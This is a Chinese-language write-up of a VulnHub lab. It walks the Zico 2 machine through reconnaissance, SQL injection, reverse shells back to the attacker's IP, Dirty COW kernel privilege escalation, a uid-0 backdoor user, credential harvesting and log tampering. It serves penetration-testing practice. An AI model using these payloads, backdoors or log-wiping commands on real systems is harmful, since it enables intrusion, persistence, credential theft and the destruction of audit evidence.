从Web渗透到内核提权:Zico 2靶机实战与脏牛漏洞深度解析 1. 项目概述与核心价值最近在VulnHub上发现一个挺有意思的靶机叫Zico 2。这个靶机在圈内口碑不错因为它模拟了一个相对真实的Web应用环境并且最终需要利用一个经典的Linux内核漏洞——脏牛Dirty COW来完成提权拿到最终的root权限。对于想从基础信息收集过渡到内核级漏洞利用的渗透测试学习者来说这是一个绝佳的练手项目。我自己也花了些时间从头到尾走了一遍过程中踩了几个坑也总结出一些能让流程更顺畅的技巧。这篇文章我就以一名渗透测试从业者的视角把整个实战过程拆解开来从环境准备到最终提权每一步的操作、背后的原理以及我遇到的“坑”都详细记录下来。无论你是刚接触Kali和靶机的新手还是想重温一下脏牛提权的老手相信这篇实录都能给你带来一些直接的参考。2. 环境准备与靶机部署2.1 渗透测试环境搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全研究的前提。我的基础环境是VMware Workstation Pro当然你用VirtualBox完全没问题。关键点在于网络模式的选择。我强烈推荐使用“Host-Only”仅主机网络。为什么不是NAT或桥接原因很简单隔离与控制。Host-Only模式会在你的物理主机上创建一个虚拟的私有网络只有你的物理机Host和虚拟机Guest比如Kali和靶机在这个网络里它们可以互相通信但都无法直接访问外网。这完美模拟了一个内网渗透的场景同时也避免了你的扫描或攻击行为意外影响到真实网络中的其他设备。我的Kali Linux版本是滚动更新的最新版确保所有工具都是当前最新的。在开始之前有几项基础检查必须做网络连通性在Kali中运行ip a或ifconfig确认你获取到的IP地址是Host-Only网段内的例如192.168.xxx.xxx。同时用ping命令测试一下物理主机的虚拟网卡IP确保双向可达。工具更新虽然不连外网但可以预先在能联网的环境下更新Kali和关键工具库。如果是在隔离环境这一步可以跳过但务必确认你的Kali镜像本身工具比较全。靶机下载从VulnHub官网下载Zico 2的OVA文件。导入VMware或VirtualBox时务必将其网络适配器也设置为Host-Only模式确保它和Kali在同一虚拟网络中。注意导入靶机后先不要启动检查一下虚拟机的硬件设置。有些靶机默认内存给得比较小如512MB在运行某些服务时可能会卡顿甚至崩溃。我建议将内存调整到1GB或以上体验会好很多。2.2 靶机初始化与网络发现将Kali和Zico 2靶机都启动后第一件事就是找出靶机的IP地址。由于我们处在封闭的Host-Only网络中靶机不会自动暴露其IP我们需要主动去发现它。最直接高效的方法是使用netdiscover工具。在Kali终端中输入sudo netdiscover -r 192.168.xxx.0/24这里的192.168.xxx.0/24需要替换成你Host-Only网络的实际网段。netdiscover会以ARP协议主动扫描整个网段很快就能列出所有在线设备的IP和MAC地址。通常你自己的Kali IP和物理主机虚拟网卡IP会先出现那个陌生的、主机名可能包含“Zico”或类似字样的IP就是靶机。另一种更温和、更全面的方式是使用Nmap进行主机发现扫描sudo nmap -sn 192.168.xxx.0/24-sn参数表示只进行Ping扫描主机发现不进行端口扫描。它能以更安静的方式列出存活主机。拿到靶机IP假设为192.168.56.105后不要急着深入扫描。先用一个快速的Ping测试确认基本连通性ping -c 4 192.168.56.105。如果收到回复恭喜你环境搭建成功可以开始正式的“狩猎”了。3. 信息收集与漏洞初探3.1 全面的端口与服务扫描信息收集是渗透测试的基石决定了后续所有攻击面的宽度。对于未知的靶机一次全面的端口扫描是必须的。我习惯使用Nmap的-sV -sC -p-组合拳。sudo nmap -sV -sC -p- 192.168.56.105 -oA zico_full_scan-sV: 版本探测。它不仅告诉你端口是开是关还会尝试识别运行在端口上的服务及其具体版本号如Apache 2.4.38, OpenSSH 7.9p1。版本信息是寻找对应漏洞的关键。-sC: 默认脚本扫描。运行Nmap自带的、与服务和版本相关的安全脚本有时能直接发现一些低悬果实比如HTTP标题中的信息泄露、FTP匿名登录等。-p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口但很多管理后台、非标应用会开在高端口这个参数确保全覆盖。-oA zico_full_scan: 将扫描结果以所有格式Normal, XML, Grepable输出到文件方便后续查阅和分析。扫描结果通常会显示几个关键端口。以Zico 2为例很可能会看到22/tcp: OpenSSH。这是远程管理端口通常是暴力破解或版本漏洞的切入点。80/tcp: HTTP。Web服务这是主战场绝大部分漏洞和入口点都藏在这里。111/tcp: rpcbind。可能与NFS网络文件系统有关是潜在的信息泄露或权限提升点。3.2 Web应用深度侦察发现80端口开放后下一步就是对Web服务进行深度侦察。我一般会分三步走第一步手动浏览与基础检查直接用浏览器访问http://192.168.56.105。看看网站长什么样有什么功能点登录、搜索、上传、留言等。同时立刻打开浏览器的开发者工具F12查看“网络”选项卡关注加载了哪些额外的JS、CSS文件以及“源代码”里有没有注释掉的敏感信息如测试账号、内网路径、API接口。第二步目录与文件枚举手动浏览能看到的只是冰山一角。我们需要用工具暴力枚举隐藏的目录和文件。这里我推荐gobuster它速度快字典全。gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bakdir: 指定进行目录枚举模式。-u: 指定目标URL。-w: 指定字典文件。common.txt是一个通用的、大小适中的字典。-x: 指定要尝试的文件扩展名。很多网站后台可能是.php备份文件可能是.bak或.zip。这个扫描可能会发现诸如/admin、/backup、/uploads、/robots.txt、/index.php.bak等关键路径。务必仔细查看robots.txt文件它有时会直接暴露管理员后台路径或禁止爬取的敏感目录。第三步针对性漏洞扫描对于发现的特定功能点比如一个登录框、一个搜索框、一个上传点要进行针对性测试。但我不建议一开始就用nikto或大型漏洞扫描器进行全面扫描它们噪音大、速度慢在CTF或实验环境中容易错过重点。更好的方法是根据前面收集的信息如CMS类型、框架版本手动使用对应的漏洞利用框架如searchsploit进行搜索或者用Burp Suite对关键功能点进行手动测试和流量抓取分析。在Zico 2的侦察中通过目录枚举我们很可能发现一个关键的入口点比如一个登录页面或者一个存在参数注入的页面这将是我们下一步攻击的突破口。4. 漏洞利用与初始访问获取4.1 发现并利用Web漏洞假设通过gobuster扫描我们发现了/admin目录访问后是一个登录页面。面对登录框常见的思路有弱口令爆破、SQL注入、逻辑漏洞如密码重置、寻找后台源码泄露等。在Zico 2的场景中一种典型的情况是存在SQL注入漏洞。可能是在登录框的username或password字段也可能在网站其他地方的搜索参数中如?id。我们可以使用sqlmap进行自动化检测和利用但理解手动测试的原理更重要。手动测试以GET参数?useradmin为例探测注入点提交?useradmin。如果页面返回数据库错误如MySQL、PostgreSQL的错误信息则存在注入可能。判断注入类型提交?useradmin AND 11和?useradmin AND 12。如果前者返回正常页面后者返回异常或空则基本确认是字符型注入。利用联合查询获取数据通过ORDER BY子句判断列数然后使用UNION SELECT语句来读取数据库信息例如?user UNION SELECT 1, database(), user(), version() -- -这条语句可能爆出当前数据库名、数据库用户和版本。使用sqlmap可以自动化这个过程并尝试获取更深入的数据如表名、列名、数据甚至获取一个交互式的shellsqlmap -u http://192.168.56.105/vuln_page.php?id1 --batch --dbs-u: 指定目标URL。--batch: 以非交互模式运行所有默认选项都选是。--dbs: 枚举所有数据库。如果注入点存在且权限足够sqlmap可以帮我们直接--os-shell获取一个低权限的Web Shell。但在Zico 2中更常见的路径可能是通过SQL注入获取到后台管理员账号密码的MD5哈希然后破解或直接使用登录到后台管理系统。4.2 建立持久化访问通道通过Web漏洞可能是SQL注入、文件上传漏洞等获得初始立足点后我们通常只有一个非常受限的Web Shell例如通过PHP的system()函数执行命令。这种Shell不稳定、功能受限、没有交互性。我们需要将其升级为一个完整的、稳定的反向Shell。1. 使用Netcat获取反向Shell首先在Kali攻击机上监听一个端口nc -lvnp 4444-l: 监听模式。-v: 详细输出。-n: 直接使用IP地址不进行DNS解析。-p: 指定监听端口。然后在靶机的Web Shell中执行一条反向连接命令。命令取决于靶机系统可用的工具如果靶机有nc(netcat)nc 192.168.56.102 4444 -e /bin/bash(其中192.168.56.102是Kali的IP)。使用Bashbash -i /dev/tcp/192.168.56.102/4444 01使用Pythonpython -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.102,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);执行成功后Kali的Netcat监听端就会收到一个来自靶机的Shell。但这是一个“哑”Shell没有提示符不支持TAB补全、历史命令等。我们需要将其升级为完全交互式的TTY Shell。2. 升级为完全交互式Shell在获得的Netcat Shell中依次输入以下命令python -c import pty; pty.spawn(/bin/bash) # 使用Python生成一个更好的PTY # 或者如果Python不可用尝试/usr/bin/script -qc /bin/bash /dev/null CtrlZ # 将当前会话挂起到后台 stty raw -echo # 在Kali主机终端中设置终端为原始模式并关闭回显 fg # 将会话拉回前台 export TERMxterm # 设置终端类型完成这些步骤后你就获得了一个功能完整的Shell可以正常使用上下键、TAB补全、清屏CtrlL等功能了。现在我们以普通用户身份可能是www-data登录到了靶机系统内部。5. 权限提升脏牛Dirty COW漏洞深度解析与利用5.1 内核漏洞提权原理与背景在Linux系统中内核是操作系统的核心拥有最高权限root。内核漏洞提权是指利用操作系统内核代码中的安全缺陷让一个普通权限的进程能够执行本应只有root才能执行的操作从而获得系统的完全控制权。脏牛CVE-2016-5195是Linux内核历史上一个非常著名且影响深远的漏洞。它的名字来源于漏洞相关的文件——Copy-On-WriteCOW机制。这个漏洞存在于Linux内核处理内存拷贝的方式中具体来说是在处理“写时复制”页面的竞态条件Race Condition时出现了问题。简单类比一下想象一个图书馆内核有一本珍贵的书只读的内存页A用户低权限进程和B用户高权限进程都想看。正常的“写时复制”机制是如果A用户想在这本书上做笔记写入图书馆管理员会给他一本复印本私有副本让他在复印本上写原书保持不变。但“脏牛”漏洞就像图书馆管理流程出了一个Bug在A用户申请复印本管理员正在找复印机的极短瞬间A用户通过某种方式“欺骗”系统让他直接在原书上做了修改并且这个修改被系统误认为是合法的。这样一来A用户就间接修改了他本无权修改的“原书”内核关键数据从而可能提升自己的权限。这个漏洞之所以经典是因为影响范围极广从2007年的Linux内核版本2.6.22开始直到2016年10月修复近9年间几乎所有主流发行版RHEL, Ubuntu, Debian, CentOS等都受影响。利用稳定可靠利用代码Exploit相对成熟成功率很高。是竞态条件漏洞的典范它完美展示了在多线程/多进程环境下由于时间差导致的逻辑错误可能引发严重的安全问题。5.2 靶机环境检测与利用准备在拿到一个低权限Shell后第一步永远是进行系统信息收集判断提权的可能方向。# 查看当前用户和权限 id whoami # 查看系统内核版本 uname -a cat /proc/version # 查看发行版信息 cat /etc/os-release lsb_release -a # 寻找SUID/SGID文件、可写目录、计划任务、sudo权限等 find / -perm -us -type f 2/dev/null find / -type f -writable 2/dev/null | grep -v /proc sudo -l # 如果当前用户在sudoers列表中对于Zico 2靶机uname -a的输出很可能显示一个较老的内核版本比如3.x或4.x早期版本这正是脏牛漏洞的受影响范围。确认内核版本存在潜在风险后我们需要将漏洞利用代码上传到靶机。在Kali上通常预置了脏牛的利用代码位于/usr/share/exploitdb/exploits/linux/local/目录下。我们可以用searchsploit查找searchsploit dirty cow会列出多个利用脚本常见的有40839.cpp或40847.cpp。我们选择一个将其复制到当前目录然后通过简单的HTTP服务上传到靶机。在Kali上启动一个临时的HTTP服务器python3 -m http.server 8000或者用PHPphp -S 0.0.0.0:8000然后在靶机的Shell中使用wget或curl下载利用代码cd /tmp # 切换到可写目录 wget http://192.168.56.102:8000/40847.cpp如果靶机没有wget或curl也可以用Netcat传输或者更简单的方法将利用代码复制到Kali的剪贴板在靶机的Shell中如果支持直接cat exploit.cpp然后粘贴内容按CtrlD保存。5.3 编译与执行漏洞利用程序下载的利用代码是C源代码需要在靶机上编译。首先检查靶机是否有GCC编译器which gcc gcc --version如果有直接编译g -Wall -pedantic -O2 -stdc11 -pthread -o dcow 40847.cpp -lutil-pthread: 链接线程库因为脏牛利用涉及多线程竞态。-o dcow: 指定输出文件名为dcow。如果编译报错缺少某些头文件可能需要根据错误信息调整代码老版本靶机可能环境不完整或者尝试使用其他版本的利用脚本。有时利用脚本的作者会提供预编译的二进制文件但直接运行未知二进制文件风险很高在实验环境中可以尝试从其他可靠来源获取对应架构的编译版本。编译成功后运行它./dcow成功的利用会输出一系列信息显示它正在尝试竞争条件最终会提示你获得了root权限。通常它会将/etc/passwd文件备份为/tmp/passwd.bak然后创建一个新的root用户例如用户名为firefart密码为空写入到/etc/passwd。利用完成后你可以切换到该用户su firefart输入密码为空直接回车如果看到命令提示符变成#恭喜你提权成功你现在是root了。重要注意事项与心得多尝试脏牛的利用过程存在竞态条件不一定一次就成功。如果第一次运行没成功没有创建新用户或su失败多运行几次程序。有时需要运行5-10次才能成功触发。备份文件利用脚本通常会备份原/etc/passwd文件。提权成功后务必记得恢复以免破坏系统。命令通常是cp /tmp/passwd.bak /etc/passwd。备用方案如果某个利用脚本不工作可以尝试searchsploit里其他的脏牛利用代码如40839.cpp,40616.c等编译和运行方式类似。理解风险在真实环境中利用内核漏洞是风险极高的行为可能导致系统崩溃内核Panic。仅在授权的测试环境或CTF中使用。6. 后渗透与痕迹清理6.1 巩固访问与信息收集获得root权限后渗透测试并未完全结束。在真实场景中攻击者会试图巩固访问权限收集更多敏感信息并清理痕迹。巩固访问可以创建后门用户或者安装SSH公钥实现免密登录。# 添加一个具有root权限的隐藏用户uid0 echo backdoor::0:0::/root:/bin/bash /etc/passwd # 设置密码 passwd backdoor或者更隐蔽的方式是修改现有的、不常用的系统用户的密码或shell。信息收集以root身份可以访问所有文件。# 查看历史命令寻找管理员操作习惯 cat ~/.bash_history cat /root/.bash_history # 查看敏感配置文件 cat /etc/shadow # 密码哈希文件 cat /etc/ssh/sshd_config # SSH服务配置 # 查找数据库连接配置文件、网站源码中的硬编码密码 find /var/www /home -name *.php -o -name *.env -o -name config* | xargs grep -l password\|PASS\|pwd 2/dev/null # 查看进程、网络连接、计划任务 ps aux netstat -tulnp crontab -l ls -la /etc/cron.*/6.2 日志清理与痕迹抹除Linux系统会记录大量日志清除相关日志是隐藏行踪的必要步骤但需要谨慎操作因为全部删除或修改日志文件本身可能成为新的可疑迹象。主要日志文件位置/var/log/auth.log或/var/log/secure: 认证相关日志SSH登录、su、sudo等。/var/log/apache2/access.log,/var/log/apache2/error.log: Apache访问和错误日志。/var/log/nginx/access.log,/var/log/nginx/error.log: Nginx日志。/var/log/syslog,/var/log/messages: 系统通用日志。~/.bash_history: 当前用户和root用户的命令历史。清理方法直接删除或清空不推荐太明显 /var/log/auth.log rm ~/.bash_history history -c history -w # 清除当前会话历史并写入文件选择性删除更隐蔽使用sed或grep -v删除包含你IP地址或用户名的特定行。# 删除auth.log中包含你Kali IP的行 sed -i /192.168.56.102/d /var/log/auth.log # 删除bash_history中包含敏感命令的行 sed -i /nc\|wget\|curl\|exploit/d ~/.bash_history修改文件时间戳使用touch命令将日志文件的时间戳修改为其他正常时间使其看起来未被改动。touch -t 202310101000.00 /var/log/auth.log实操心得在CTF或实验环境中通常不需要清理痕迹。但在模拟真实攻防演练时需要了解这些步骤。请注意高安全级别的环境可能有日志实时外发或防篡改机制直接修改日志文件会触发告警。更高级的做法是攻击日志服务器或干扰日志收集进程但这已超出基础提权的范畴。7. 总结与反思回顾整个Zico 2靶机的渗透流程它是一条非常经典的学习路径信息收集 - Web漏洞发现与利用 - 获取初始Shell - 系统内部信息枚举 - 内核漏洞提权。每一个环节都考验着对工具的理解和手动测试的思维。脏牛提权虽然是一个“老”漏洞但它的学习价值丝毫没有降低。它不仅仅是一个拿来即用的Exploit更是一个理解Linux内核安全、竞态条件漏洞的绝佳案例。通过手动编译、运行、排错的过程你能更深刻地体会到漏洞利用的条件和不确定性。在实际操作中我最大的体会有两点一是耐心信息收集一定要全面不要看到一个入口就猛攻漏掉的端口或目录可能就是更简单的突破口二是灵活当一个Exploit不work时不要死磕换一个版本或者重新检查一下环境依赖比如gcc版本、内核版本是否完全匹配往往就能解决问题。最后务必记住所有这些技术都必须在合法、授权的环境下进行。靶机环境为我们提供了安全的沙箱让我们能够不断练习、试错、成长最终目的是为了提升防御者的能力构建更安全的系统。